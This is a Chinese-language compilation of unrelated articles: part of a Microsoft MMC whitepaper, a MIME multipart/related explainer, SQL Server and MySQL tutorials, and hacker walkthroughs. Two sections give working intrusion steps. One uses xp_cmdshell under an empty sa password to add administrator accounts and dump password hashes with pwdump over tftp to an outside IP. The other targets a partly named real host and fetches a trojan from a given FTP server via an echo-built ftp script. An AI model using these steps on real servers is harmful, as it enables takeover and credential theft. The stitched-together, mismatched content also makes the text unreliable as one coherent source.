MMC UI 处理从简单到复杂的一系列方案 - Microsoft 认为管理操作在一个连续的经验水平的范围内发生的，而不只是几个特定的角色（例如用户、操作员和管理员）。有了 MMC，资深的管理员可以创建许多复杂程度不同的工具，并将工具分发给实际使用它们的经验较少的用户。管理员可以使用 MMC 创建完全符合用户的能力和角色以及网络需求的工具。

MMC 怎样和企业控制台产品一起工作

企业控制台是指支持企业的管理产品，它通常注重于网络管理，也有一些系统管理的扩展。企业管理控制台的目的是提供一致性，并使工具同化。有必要将为完成特定任务而设计的工具的最优功能与特定环境结合起来。MMC 的目的是为基于 Windows 环境中的最优的工具与企业控制台集成或补充企业控制台提供一个 UI 环境。

方案 1：企业控制台启动基于 MMC 的任务

因为 Windows NT 操作系统支持大多数企业控制台，可以让 MMC 作为管理基于 Windows 的客户机的首选工具。例如，可以想象当您看到这些控制台之一的物理视图时，看到在那个视图中运行 Windows 2000 Server 的计算机闪烁着红灯。当管理员打开 Windows 2000 Server 对象，就会启动一个 MMC 保存的工具。这利用了企业控制台管理异种网络的功能，以及 MMC 以及相关的 ISV 管理单元管理 Windows 平台的功能。

在上下文中可以启动控制台文件。例如，使用 /computer=computername 命令行参数来指向特定的计算机来启动计算机管理控制台。

方案 2：MMC 提供查看企业控制台的视图

考虑到 MMC 容纳管理单元的功能，很容易想象部分企业控制台应用程序通过 MMC 用户界面供人们使用。事实上，当一个人考虑什么组成了企业控制台的实现时，绝大多数是基本管理基础结构和服务：清单、设备自动发现、软件分发、警报收集和抑制、帮助台等等。与这种功能相关的 UI 可以很容易地作为 MMC 管理单元提供。Microsoft 未来的打算是将 Microsoft System Management Server 放在 MMC 中。这也同样适用于其它 Microsoft BackOffice® 产品。

MMC 怎样与 Java、Microsoft Internet Explorer 和 ActiveX 一起工作

MMC 的实现使管理单元可以使用目标明确的 COM 接口执行较为传统的管理任务，为了显示，管理单元可以使用许多实现技术，包括列表视图、HTML、Java、ActiveX 和特殊目的的 ActiveX 控件（例如“网络拓扑图”视图）。

MMC 怎样和控制面板应用程序一起工作

在 Windows NT 操作系统的以前版本中，某些控制面板设置（例如颜色和方案）只是为普通用户设计的，而其它（例如设备和服务）是针对管理员的。在 Windows 2000 操作系统中，Windows 小组通过将许多控制面板管理工具迁移为 MMC 管理单元简化了控制面板。在这一过程中，这些管理工具也将支持远程管理。

MMC 怎样和 Shell 扩展一起工作

MMC API 提供了 Shell 扩展的大多数功能。但是，MMC 添加了创建工具的功能（通过文档持续性模型）。因此，这些 API 的大多数需要更改。需要最大限度的更改是因为 MMC 扩展是每工具的，而不是每机器或每用户的，因此 MMC 扩展数据存储在每个 .msc 文件中。如果您现在正在开发 Shell 扩展接口，向 MMC 的迁移是直截了当的。

词汇表

本节定义本文所使用的术语。

Active Directory

一种 Windows 2000 目录服务，它存储计算机网络上所有对象的信息并使管理员和用户能够容易找到并应用这些信息。在 Active Directory 中，用户可以在一次登录中访问网络上任何地方的资源。同样，管理员从一点便可以管理网络上所有的对象，网络上的对象可以呈现出分层的结构。

分配的应用程序

在 Windows 2000 操作系统中，可以使用组策略管理单元的软件安装管理单元扩展将应用程序分配给用户，从而每当用户登录时应用程序都看上去已经安装并出现在用户的桌面上。

应将应用程序分配给特定的组策略对象 (GPO)，组策略对象又与选定的目录容器（站点、域或组织单位）相关联。当您分配应用程序时，将应用程序公布给 GPO 管理的每个用户。公布应用程序只安装足以使应用程序的快捷方式出现在开始菜单上并使必要的文件关联出现在注册表中需要的足够信息。当 GPO 管理的用户登录到运行 Windows 2000 的计算机上时，应用程序出现在他或她的开始菜单上。当用户第一次从开始菜单上选定应用程序时，该应用程序便安装在计算机上。单击应用程序管理的文档（通过文件扩展或通过基于 COM 的激活）时也安装公布的应用程序。

作者模式

当您使用这种模式创建控制台时，您便有完全访问所有的 MMC 功能的权限，包括添加或删除管理单元、创建新窗口、创建任务板视图和任务、向收藏夹列表添加项目和查看控制台树的所有部分的权限。另请参见“用户模式”

控制台树

控制台树是控制台中可用的对象和容器的层次结构。MMC 控制台窗口的左窗格包括控制台树和收藏夹选项卡。另请参见“收藏夹选项卡”。

细节窗格

包括在 MMC 控制台窗口的右窗格，细节窗格显示在控制台树中选定的项目的视图。信息可以以列表视图、任务板、ActiveX 控件或 HTML 页显示。

文档

参见“工具”。

域

位于同一名称下的一组服务器和其它网络对象。域具有下列好处：

  • 可以将对象组织成域来协助在计算机网络中反映公司的组织情况。
  • 每个域只存储位于该域中的对象的信息。通过用这种方式划分目录信息，Active Directory 可以随着存储网络信息的需要向上扩展到非常多的对象。
  • 每个域都是一个安全边界 - 这意味着安全策略和设置（例如管理权限、安全策略和安全描述符）不会从一个域跨越到在另一个域上。域的管理员只有在该域中有设置策略的绝对权限。另请参见“安全描述符”。

扩展管理单元

只有和父管理单元一起使用时才提供功能的管理单元。扩展管理单元可以向名称空间添加节点，或者只是以新菜单、工具栏、属性页、向导或帮助扩展现有的节点。

收藏夹选项卡

当您以作者模式打开新的控制台，或控制台的收藏夹列表已经有项目加入其中时才会显示此选项卡。收藏夹列表可以包括到工具、控制台中的项目或任务的快捷方式。

管理保存控制台文件 (.msc 文件)

组成工具的管理保存控制台文件（.msc 文件）。当管理员使用各种管理单元组成一个工具之后，管理员可以将工具保存为 .msc 文件。.msc 文件可保存工具，以便以后可以打开和反复使用。.msc 文件可以供另一个管理员使用。另请参见“工具”。

多重文档界面 (MDI)

支持多个同时的视图或窗口的界面。单文档界面或 SDI（例如 Microsoft Internet Explorer）不支持多个视图。

Microsoft 管理控制台 (MMC)

通常是 Windows 2000 操作系统中的 ISV 可扩展的通用管理控制台。MMC 控制台本身是基于 Windows 的多重文档界面 (MDI) 应用程序。MMC 本身并不提供管理功能，相反它为提供实际的管理功能的管理单元提供通用的宿主环境。

可扩展模式

管理单元提供的功能，扩展控制台以使其具有更多的功能。Microsoft 定义了几种可扩展模式，每个管理单元都必须至少提供这些模式中的一种。

名称空间

在控制台窗口中显示的对象和容器的层次结构。名称空间包括控制台树和细节窗格。

节点

任何可管理的对象、任务或视图。计算机、用户和 Web 页都属于节点的例子。

组织单位 (OU)

域中包含的一种目录对象。OU 是可以在其中放置用户、组、计算机、甚至还有其它组织单位的逻辑容器。

程序包（.msi 文件）

Windows 安装服务程序包（.msi 文件）包括存储描述 Windows 安装服务在各种情况下怎样安装应用程序的所有必须的信息的数据库，这些情况包括各种平台、以前安装的产品的不同集合、产品的早期版本和众多的默认安装位置。组策略管理单元的软件安装管理单元扩展使用 .msi 程序包。

发行的应用程序

在 Windows 2000 操作系统中，可以使用组策略管理单元的软件安装管理单元扩展向用户发行应用程序。发行的应用程序是管理员使之可供按需使用的那些应用程序。

发行的应用程序在用户的计算机上不出现。也就是说，在桌面上没有应用程序的快捷方式和开始菜单引用。发行的应用程序在 Active Directory 公布。公布的属性用于查找应用程序和安装它所需的信息。当应用程序在 Active Directory 中公布之后，它可以由文档关联激活，就像分配的应用程序被激活一样。用户可以从控制面板中的添加/删除程序安装该程序。

安全描述符

网络上的所有容器和对象都有一组附加在它们上的安全信息或安全描述符。安全描述符包括：

  • 自由访问控制列表 (DACL)，它指定可以访问对象的用户和组，以及赋予这些组或用户的访问类型（权限）。
  • 系统访问控制列表 (SACL)，包括审核信息，用来指定下列情况：
  • 当访问对象时需要审核的组和用户帐户。
  • 对每个组或用户需要审核的访问事件。修改文件便是访问事件的一个例子。
  • 根据对象的 DACL 中赋予每个组和用户的权限，每个访问事件的成功或失败的属性。

管理单元

组成控制台扩展的最小单位的软件。管理单元是扩展 MMC 控制台并提供管理功能的工具。管理单元的功能是相互独立的。另请参见 MMC。

独立的管理单元

独立的管理单元可以单独加入控制台；扩展管理单元只能用来扩展另一个管理单元的功能。另请参见 MMC。

工具

组成一个控制台的多个管理单元的组合。一个工具包括并提供工具中所包括的所有管理单元的所有管理功能。可以保存工具（以 .msc 文件）并重新加载。工具也叫做文档。

用户模式

当您使用这种模式创建控制台时，可以除去用户可能不需要的一些编辑功能。例如，可以向用户提供对控制台树的完全访问权限，但是禁止他们添加或删除控制台或修改控制台属性。有三种类型的用户模式：完全访问、受限访问；多窗口、受限访问；单窗口。

其它信息

有关 Windows 2000 Server 的最新信息，请查阅 Microsoft TechNet 或 Windows 2000 Web 站点 (http://www.microsoft.com/windows2000/guide/server/overview/default.asp)。

管理和概述白皮书

下面是介绍 Microsoft Windows 管理服务与更改及配置管理的白皮书的列表。这些白皮书是针对需要了解管理功能的业务要求、优点、以及 Microsoft 管理体系结构、工具与解决方案的经理人员和技术决策者而编写的。可以在 Microsoft TechNet 找到这些白皮书。

  • Windows 管理服务介绍 - 可以作为操作系统一部分或附件提供的管理职能与规程，以及管理解决方案的体系结构的概述。
  • 更改与配置管理介绍 - 更改与配置管理的概述，以及诸如 Windows 2000 IntelliMirror™ 管理技术、远程 OS 安装和处理这一管理规程的 Systems Management Server 之类的 Microsoft 产品的介绍。
  • IntelliMirror - IntelliMirror 技术的功能概述以及说明各单位如何从 IntelliMirror 中获益的方案示例。
  • 远程 OS 安装 - 远程 OS 安装功能的概述以及说明各单位如何从实现远程 OS 安装中获益的方案示例。
  • System Management Server - System Management Server 功能概述以及有关其优点的讨论。

技术白皮书

下面列出了已经面世或将要面世的一些技术白皮书，可供希望了解 Windows 管理服务功能和技术的管理员和信息技术 (IT) 经理人员使用。它们可以在 Microsoft TechNet 上找到。

  • Active Directory
  • 组策略
  • Windows 安装服务
  • 软件安装与维护
  • 远程 OS 安装服务
  • 用户和用户设置管理
  • Windows 管理规范 (WMI)

© 1999 Microsoft Corporation. 版权所有。

本文档所包含的信息代表了在发行之日，Microsoft Corporation对所讨论问题的当前看法。因为 Microsoft 必须顺应不断变化的市场条件，故该文档不应理解为 Microsoft 一方的承诺，Microsoft 不保证所给信息在发行之日以后的准确性。

本白皮书仅供参考。在本文档中，MICROSOFT 不做任何明示或默示的保证。

Microsoft、Active Directory、ActiveX、BackOffice、IntelliMirror、Visual Basic、Win32、Windows 以及 Windows NT 是 Microsoft Corporation 的商标或注册商标。

此处提到的其它产品或公司名称可能是其所有者的商标。

Microsoft Corporation • One Microsoft Way • Redmond, WA 98052-6399 • USA

0599

1 Microsoft Platform SDK 文档使用术语“作用域窗格”来指控制台树，用“结果窗格”来指细节窗格。

2 软件安装管理单元生成应用程序公布脚本（.ass 文件），并将其存储在 Active Directory 和组策略对象中的适当位置。

3 这些平台的 Windows 安装服务的 Service Pack 很快会面世。Windows 安装服务安装在操作系统上之后，它可以处理来自任何支持 Windows 安装服务的应用程序的安装请求。


MIME文件在邮件中传送多种文件格式的文件

因为在现实中存在了许多文件格式，本文主要说明如何使用电子邮件传送多种文件，传送的方法就是使用MIME的方法。这里我们先说明一下URI，它是存在于HTML或其它文件中的一个参照标记，它在文件中指出这个地方是引用另外一个对象（比如文件，图象）。在传送这类电子邮件时，也应该把这些东西一起传送出去。另外一种方法是，只传送这些URI，当用户打开时，要求用户使用HTTP查看相应的对象，本文不讨论这种方法。

这种包括许多种对象的文件我们称为集成文件。在集成文件中的一些对象可以连接到第一个对象，在传送这些文件时，转发机制不会觉得这和平常的邮件有什么区别，它甚至可以为非IP连接的用户传送WWW文档。而接收程序则有所不同，有些接收程序可以直接显示，有些则需要把这种文件送给浏览器显示。

前面不是说过了吗，在这些集成文件中有一些URI参考，因此需要定义两个内容头：Content-Location和Content-Base。我们目前只讨论URL这一种类型，其它类型在日后也可以加以支持，这些头的格式如下：

content-location ::= "Content-Location:" ( absoluteURI | relativeURI )

content-base ::= "Content-Base:" absoluteURI

这里，我们把URI看成是一个严格定义的URL就可以了。Content-Base给定一个基，这个基必须是一个绝对URI。下面是几个例子：

Content-Type: Multipart/related; boundary="boundary-example-1";
type=Text/HTML; start=foo2*foo3@bar2.net //Content-Base头不能放在这里，因为这是一个多部分（multipart）MIME对象；

--boundary-example-1

Part 1:
Content-Type: Text/HTML; charset=US-ASCII
Content-ID: <foo2*foo3@bar2.net>
Content-Location: http://www.aaa.net/images/foo1.bar1 //这个Content-Location必须是一个绝对URI，因为没有指定基，所以不能使用相对地址；

--boundary-example-1

Part 2:
Content-Type: Text/HTML; charset=US-ASCII
Content-ID: <foo4*foo5@bar2.net>
Content-Location: foo1.bar1 //这里使用了相对地址，因为下一句指定了基点的位置，foo1.bar1就在这个基下的东西；
Content-Base: http://www.aaa.net/images/

--boundary-example-1--

Content-Location是一个位置量，它可以是一个相对量，也可以是一个绝对量，当它是相对量的时候一定有基存在，不然它相对谁呀。这里使用任何的URI机制都可以，标准不标准都行，但是如果采用不标准的有时候会有麻烦，一定要小心。有时候Content-Location可以指示数据发送方在这个URI下是可以取得的，这时候一定要确定这个地址是标准的，可用的，不然会出错。相对URI是通过MIME内的基URI来解析的，有下面几种方法可以解析基URI，一种是通过HTML提供的命令来支持，而另一种是使用Content-Base头来进行，也可以使用MIME对象体内的Content-Location当作基来使用。

有时候，发送的邮件内可能不包括连接的对象（如图象，声音等），这时邮件可以用Text/HTML形式发送。这样的文件中包括的连接对于用户来说就只能通过上网取得，而有些是根本无法取得的，如一个公司的内部网络，这样的网络对外人是不可进入的，即使用户可以上网访问，也要注意，用户可以根本不可能上互联网，这样就不得不考虑使用这种方法的可行性了。虽然如此，仍然有许多用户采用这种方法。

如果邮件内的内容包括了需要参照的对象（这时文件内可能包括许多种对象，HTML文档，图象，声音等），这时就只能采用multipart/related形式发送了。这时文件的根部分应该是参照其它对象的部分，如一个HTML文档，它就可以使用超级链接参照文件的其它部分。通常，我们把这样的根部分放在文件的最前面，也就是根部分是第一个部分，如果不是，则应该使用Content-ID进行指示。如果在HTML文件中包括一些URI（也就是URL）指向的是一些不可知的程序，最好要发送前对它进行得写。 一个对象体部分，如text/HTML，可以包括一些超级链接，这些链接指向的可能是本消息内的部分，当然也可能是网络上的某种资源。无论是什么东西，反正是要在用户在线阅读时显示出的东西。为了显示这些对象，需要知道这些对象的位置，我们知道MIME文件是由许多对象部分组成的，如果链接的对象就在此消息内，这些被链接的对象应该是一个独立的对象部分，每个这样的部分都应该有Content-Location头或Content-ID头。接收方的邮件程序也应该支持这种文件内的链接方式。

当文件中有Content-Base头时，应该先对它进行解析，然后再对HTML中的URL进行解析。在文件中如果使用了Content-ID头，那么Content-Location就不怎么起作用了，因此下面两句是同一个意思：

Content-ID: foo@bar.net
Content-Location: CID: foo@bar.net

下面我们来看一些例子，第一个例子中只包括HTML对象而没有包括其它对象，如声音，图象等，这个文件中也有超级链接，但是如果想取和 级链接的东西就必须上网取得，在这个文件内是没有需要的东西的。

From: foo1@bar.net
To: foo2@bar.net
Subject: A simple example
Mime-Version: 1.0
Content-Type: Text/HTML; charset=US-ASCII

<HTML>
<head></head>
<body>
<h1>Hi there!</h1>
An example of an HTML message.<p>
Try clicking <a href="http://www.resnova.com/">here.</a><p>
</body></HTML>

这个例子是文件中包括了一个GIF图象，这个图象使用的绝对地址；

From: foo1@bar.net
To: foo2@bar.net
Subject: A simple example
Mime-Version: 1.0
Content-Type: Multipart/related; boundary="boundary-example-1";
type=Text/HTML; start=foo3*foo1@bar.net

--boundary-example-1
Content-Type: Text/HTML;charset=US-ASCII
Content-ID: <foo3*foo1@bar.net>

... 这里可能是一个HTML文件，其中包括了下面的超级链接：
<IMG SRC="http://www.ietf.cnri.reston.va.us/images/ietflogo.gif" ALT="IETF logo">

--boundary-example-1
Content-Location: http://www.ietf.cnri.reston.va.us/images/ietflogo.gif
Content-Type: IMAGE/GIF
Content-Transfer-Encoding: BASE64

R0lGODlhGAGgAPEAAP/////ZRaCgoAAAACH+PUNvcHlyaWdodCAoQykgMTk5
NSBJRVRGLiBVbmF1dGhvcml6ZWQgZHVwbGljYXRpb24gcHJvaGliaXRlZC4A

//上面是图象的内容；

--boundary-example-1--

下面这个例子和上面的一样，只不过使用了相对地址： From: foo1@bar.net
To: foo2@bar.net
Subject: A simple example
Mime-Version: 1.0
Content-Base: http://www.ietf.cnri.reston.va.us
Content-Type: Multipart/related; boundary="boundary-example-1";
type=Text/HTML

--boundary-example-1
Content-Type: Text/HTML; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE

... 这里可能是一个HTML文件，其中包括了下面的超级链接：
<IMG SRC="/images/ietflogo.gif" ALT="IETF logo">

--boundary-example-1
Content-Location: /images/ietflogo.gif
Content-Type: IMAGE/GIF
Content-Transfer-Encoding: BASE64

R0lGODlhGAGgAPEAAP/////ZRaCgoAAAACH+PUNvcHlyaWdodCAoQykgMTk5
NSBJRVRGLiBVbmF1dGhvcml6ZWQgZHVwbGljYXRpb24gcHJvaGliaXRlZC4A
//上面是图象的内容；

--boundary-example-1--

下面的例子中使用了Content-ID头：

From: foo1@bar.net
To: foo2@bar.net
Subject: A simple example
Mime-Version: 1.0
Content-Type: Multipart/related; boundary="boundary-example-1"; type=Text/HTML

--boundary-example-1
Content-Type: Text/HTML; charset=US-ASCII

... 这里可能是一个HTML文件，其中包括了下面的超级链接：
<IMG SRC="cid:foo4*foo1@bar.net" ALT="IETF logo">

--boundary-example-1
Content-ID: <foo4*foo1@bar.net>
Content-Type: IMAGE/GIF
Content-Transfer-Encoding: BASE64

R0lGODlhGAGgAPEAAP/////ZRaCgoAAAACH+PUNvcHlyaWdodCAoQykgMTk5
NSBJRVRGLiBVbmF1dGhvcml6ZWQgZHVwbGljYXRpb24gcHJvaGliaXRlZC4A
//上面是图象的内容；

--boundary-example-1--

在网络上一定要考虑安全问题，这里要考虑的安全问题主要是发送来的URI是不是真正代表一个通过HTTP协议访问到的对象，在这方面没有保证。我们在使用HTTP协议或FTP协议时，通常会缓存一些数据，这些数据保证下次再次访问这个对象时不用从网络上取得，而直接可以从本机上获得，但是对于MIME文件来说，却不能够这样做，因为你无法保证这里看到的东西和通过HTTP或FTP得到的对象是一致的。在发送HTML文件时，还有一些安全问题要考虑了，因为在这些文件中可能有一些运行于服务器的代码，这些代码如果传播出去可能造成的后果是无法想象的。而有一些HTML文件把口令和其它一些关键数据保存在里面，如果不加处理直接发送，我想后果不用我多嘴你也能够想得出来了。


MS SQL Server数据库安全问题

前段时间有人问起得到肉机后如何保护的问题，现提供这篇文章片段，以供参考。

对于MS SQL Server数据库来说，安全问题不仅仅局限在脚本上了。“天杀的微软”的系统性很强，整个基于WINDOWS系统的应用都有很强的关联性，对SQL Server来说，基本可以把数据库管理和系统管理等同起来了。SQL Server默认的管理员帐号“sa”的密码是空的，这给多数NT服务器产生一个安全漏洞。小榕的“SQLRCMD”，就能够利用获得的数据库管理员帐号执行系统命令。

在SQL Server中有很多系统存储过程，有些是数据库内部使用的，还有一些就是通过执行存储过程来调用系统命令。

系统存储过程：xp_cmdshell

就是以操作系统命令行解释器的方式执行给定的命令字符串。它就具体语法是：xp_cmdshell {'command_string'} [, no_output]

xp_cmdshell在默认情况下，只有 sysadmin 的成员才能执行。但是，sysadmin也可以授予其他用户这个执行权限。在早期版本中，获得 xp_cmdshell 执行权限的用户在 SQL Server 服务的用户帐户中运行命令。可以通过配置选项配置 SQL Server，以便对 SQL Server 无 sa 访问权限的用户能够在SQLExecutiveCmdExec Windows NT 帐户中运行 xp_cmdshell。在 SQL Server 7.0 中，该帐户称为 SQLAgentCmdExec。现在对于SQL Server2000，只要有一个能执行该存储过程的帐号就可以直接运行命令了。

对于 NT 和 WIN2000，当用户不是 sysadmin 组的成员时，xp_cmdshell 将模拟使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帐户。如果代理帐户不能用，则 xp_cmdshell 将失败。所以即使有一个帐户是master数据库的db_owner，也不能执行这个存储过程。

如果我们有一个能执行xp_cmdshell的数据库帐号，比如是空口令的sa帐号。那么我们可以执行这样的命令：

exec xp_cmdshell 'net user refdom 123456 /add'
exec xp_cmdshell 'net localgroup administrators refdom /add'

上面两次调用就在系统的管理员组中添加了一个用户：refdom

当我们获得数据库的sa管理员帐号后，就应该可以完全控制这个机器了。可见数据库安全的重要性。

下面这些存储过程都是对Public可以执行的：
xp_fileexist，用来确定一个文件是否存在。
xp_getfiledetails，可以获得文件详细资料。
xp_dirtree，可以展开你需要了解的目录，获得所有目录深度。
Xp_getnetname，可以获得服务器名称。

还有可以操作注册表的存储过程，这些不是对Public可以执行的，需要系统管理员或者授权执行：
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread （对Public可以执行）
Xp_regremovemultistring
Xp_regwrite

SQL Server的安全配置

除跟着微软打满所有补丁外，还需要加强数据库的安全。
首先，你需要加强象sa这样的帐号的密码，跟系统帐号的使用配置相似，一般操作数据库不要使用象sa这样的最高权限的帐号，而使用能满足你的要求的一般帐号。

接着对扩展存储过程开始大屠杀，首先就是xp_cmdshell，还有就是上面那些一大堆存储过程，都drop吧，一般也用不着。

执行：
use master
sp_dropextendedproc 'xp_cmdshell'

去掉guest帐号，阻止非授权用户访问。

去掉不必要的网络协议。

加强对数据库登陆的日志记录，最好记录所有登陆事件。可以用下面的简单DOS命令来查看日志：

findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*

用管理员帐号定期检查所有帐号，是否密码为空或者过于简单，比如下面的语句：

Use master
Select name,Password from syslogins where password is null

用下面语句对所有帐号，检查对存储过程和扩展存储过程的执行权，提防不必要的执行权限扩散：

Use master
Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sysprotects.id

加强数据库的安全是非常重要的，有的数据库服务器是和WEB服务器隔离开的，这就同MAIL服务器一样，数据库的日志可能就基本很少去查看，这将会成为管理员的一个疏忽点。类似DNS、MAIL等等，数据库服务器往往成为各种入侵的跳板。

下面是一些关于数据库的问答和技巧：

1、获得SA权限后，却不能执行xp_cmdshell存储过程怎么办？
答：可能是已经把xp_cmdshell等扩展存储过程删除了，可以用这个存储过程把xp_cmdshell恢复。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

2、通过数据库用pwdump获得系统管理员密码
先上传一个pwdump
tftp -i <ip> GET pwdump3.exe pwdump3.exe
tftp -i <ip> GET lsaext.dll lsaext.dll
tftp -i <ip> GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp <ip> PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解这些密码。

3、从数据库读取系统管理员密码。
能读出加密的密码是NT的"administrator"帐号也不能做的，SQL Server能读出来是使用的“LocalSystem”帐号，这个帐号比administrator更高一级。可以使用下面这个存储过程。不过读出来的密码是经过加密后的，然后再解密吧。
xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F'


mssql系统管理扩展存储的大漏洞

常碰到的情况:一台nt的服务器,只开了80和1433端口,sa的密码为空,但禁止了远程储存,即你不能执行net user *** /add等命令,就算没有禁止你添加了一个admin组的用户,但它完全禁止了共享,拿到这种机器,君欲何为?

如果你和某台nt的服务器有深仇大恨,而它又没什么漏洞可钻的话,暴破我推荐破mssql的sa密码,如果它开了mssql服务的话,比其它暴破又快又准.在mssql中管理员的帐号sa是不可删除,改名或停用的,不象nt的administrator.

一朝你拿到了sa的密码(比如常见的sa的密码为空),你便可以有两件事可做:
1)用mssql的客户端工具(sql分析查询器)连接它的数据库看看里面有没有什么好东东,这里略过不提.
2)添加一个nt管理员的帐号,以便上传下载文件,进一步控制这台机,我们主要说说这后一种情况.

我们知道,mssql默认安装是能够调用大量的系统管理扩展存储,象xp_cmdshell,,Xp_regdeletekey,Xp_regenumvalues 等等.其中最重要的xp_cmdshell,调用它几乎可以完成所有nt的系统命令,比如:"
net user 7nt /add" "net localgroup administrators 7nt /add" 等等,这样就在admin组增加了一个管理员7nt.但是你也会常碰到这种情况,nt上的mssql已经对管理扩展存储作了限制,下面看一个实例:

已知一台机64.49.*.* 只开了80和1433端口,sa的密码为空,禁止了所有共享:
用mssql的客户端连接成功,现在:"dir c:\" ,可以浏览目录. "net user",显示:"Administrator IUSR_TPEWEB01 IWAM_TPEWEB01 Guest"看来还可以读出他的帐号.
再来:"net user administrator" 显示:"System error 1312 has occurred.
A specified logon session does not exist. It may already have been terminated."
同样你运行比如:"net user 7nt /add"等命令,都会得到这个结果,怎么办?

换个其它命令试试:"echo aaa>c:\a.txt" 看看创建一个文本文件a.txt,内容为aaa行不行?显示:"Can'nt Execute Command, Press Any Key to Exit..."哇,好象也不行,连接也断开了.再次和它连上吧,再看看:"dir c:\" ,哇塞,c盘上多了一个a.txt文件,"type c:\a.txt",a.txt文件的内容正是aaa.好了,一切都ok了.

这可是mssql系统管理扩展存储的大漏洞,好比一个小偷正在行窃被警察叔叔当场抓住,送到监牢自不代说,却不问小偷把偷到的财宝交出来,于是小偷可以反复地去偷...哈哈.

剩下的我不多说了,推荐用ftp -s.假设你有一台ftp服务器211.100.8.141,用户名和密码都是7nt,在上面有一个木马fun.exe,你可以反复连接mssql,一次次把这些写进去:"echo open 211.100.8.141>a.txt" "echo 7nt>>a.txt" "echo 7nt>>a.txt" "echo bin>>a.txt" "echo get fun.exe>>a.txt" "echo bye>>a.txt" 要六次呀,有点辛苦?第七次就搞定了:"ftp -s:a.txt" 看看,我们的fun.exe已经传上去了,你可以在mssql的shell里直接运行fun.exe,如果可能最好用at命令.

whh7nt.126.com 7nt 于 2002-4-25


MY-SQL常用命令

作者：未知 来源:西藏网络安全阵线
有很多朋友虽然安装好了mysql但却不知如何使用它。在这篇文章中我们就从连接MYSQL、修改密码、增加用户等方面来学习一些MYSQL的常用命令。

一、连接MYSQL。

格式： mysql -h主机地址 -u用户名 －p用户密码

1、例1：连接到本机上的MYSQL。

首先在打开DOS窗口，然后进入目录 mysqlbin，再键入命令mysql -uroot -p，回车后提示你输密码，如果刚安装好MYSQL，超级用户root是没有密码的，故直接回车即可进入到MYSQL中了，MYSQL的提示符是：mysql>

2、例2：连接到远程主机上的MYSQL。假设远程主机的IP为：110.110.110.110，用户名为root,密码为abcd123。则键入以下命令：

mysql -h110.110.110.110 -uroot -pabcd123

（注:u与root可以不用加空格，其它也一样）

3、退出MYSQL命令： exit （回车）

二、修改密码。

格式：mysqladmin -u用户名 -p旧密码 password 新密码

1、例1：给root加个密码ab12。首先在DOS下进入目录mysqlbin，然后键入以下命令

mysqladmin -uroot -password ab12

注：因为开始时root没有密码，所以-p旧密码一项就可以省略了。

2、例2：再将root的密码改为djg345。

mysqladmin -uroot -pab12 password djg345

三、增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）

格式：grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"

例1、增加一个用户test1密码为abc，让他可以在任何主机上登录，并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL，然后键入以下命令：

grant select,insert,update,delete on *.* to test1@\"%\" Identified by \"abc\";

但例1增加的用户是十分危险的，你想如某个人知道test1的密码，那么他就可以在internet上的任何一台电脑上登录你的mysql数据库并对你的数据可以为所欲为了，解决办法见例2。

例2、增加一个用户test2密码为abc,让他只可以在localhost上登录，并可以对数据库mydb进行查询、插入、修改、删除的操作（localhost指本地主机，即MYSQL数据库所在的那台主机），这样用户即使用知道test2的密码，他也无法从internet上直接访问数据库，只能通过MYSQL主机上的web页来访问了。

grant select,insert,update,delete on mydb.* to test2@localhost identified by \"abc\";

如果你不想test2有密码，可以再打一个命令将密码消掉。

grant select,insert,update,delete on mydb.* to test2@localhost identified by \"\";

在上篇我们讲了登录、增加用户、密码更改等问题。下篇我们来看看MYSQL中有关数据库方面的操作。注意：你必须首先登录到MYSQL中，以下操作都是在MYSQL的提示符下进行的，而且每个命令以分号结束。

一、操作技巧

1、如果你打命令时，回车后发现忘记加分号，你无须重打一遍命令，只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成几行来打，完后用分号作结束标志就OK。

2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。

二、显示命令

1、显示数据库列表。

show databases;

刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。

2、显示库中的数据表：

use mysql； ／／打开库，学过FOXBASE的一定不会陌生吧

show tables;

3、显示数据表的结构：

describe 表名;

4、建库：

create database 库名;

5、建表：

use 库名；

create table 表名 (字段设定列表)；

6、删库和删表:

drop database 库名;

drop table 表名；

7、将表中记录清空：

delete from 表名;

8、显示表中的记录：

select * from 表名;

三、一个建库和建表以及插入数据的实例

drop database if exists school; //如果存在SCHOOL则删除

create database school; //建立库SCHOOL

use school; //打开库SCHOOL

create table teacher //建立表TEACHER

(

id int(3) auto_increment not null primary key,

name char(10) not null,

address varchar(50) default ’深圳’,

year date

); //建表结束

//以下为插入字段

insert into teacher values(’’,’glchengang’,’深圳一中’,’1976-10-10’);

insert into teacher values(’’,’jack’,’深圳一中’,’1975-12-23’);

注：在建表中（1）将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment并不能为空:not null而且让他成为主字段primary key（2）将NAME设为长度为10的字符字段（3）将ADDRESS设为长度50的字符字段，而且缺省值为深圳。varchar和char有什么区别呢，只有等以后的文章再说了。（4）将YEAR设为日期字段。

如果你在mysql提示符键入上面的命令也可以，但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql，然后复制到c:\\下，并在DOS状态进入目录\\mysql\\bin，然后键入以下命令：

mysql -uroot -p密码 < c:\\school.sql

如果成功，空出一行无任何显示；如有错误，会有提示。（以上命令已经调试，你只要将//的注释去掉即可使用）。

四、将文本数据转到数据库中

1、文本数据应符合的格式：字段数据之间用tab键隔开，null值用\\n来代替.

例：

3 rose 深圳二中 1976-10-10

4 mike 深圳一中 1975-12-23

2、数据传入命令 load data local infile \"文件名\" into table 表名;

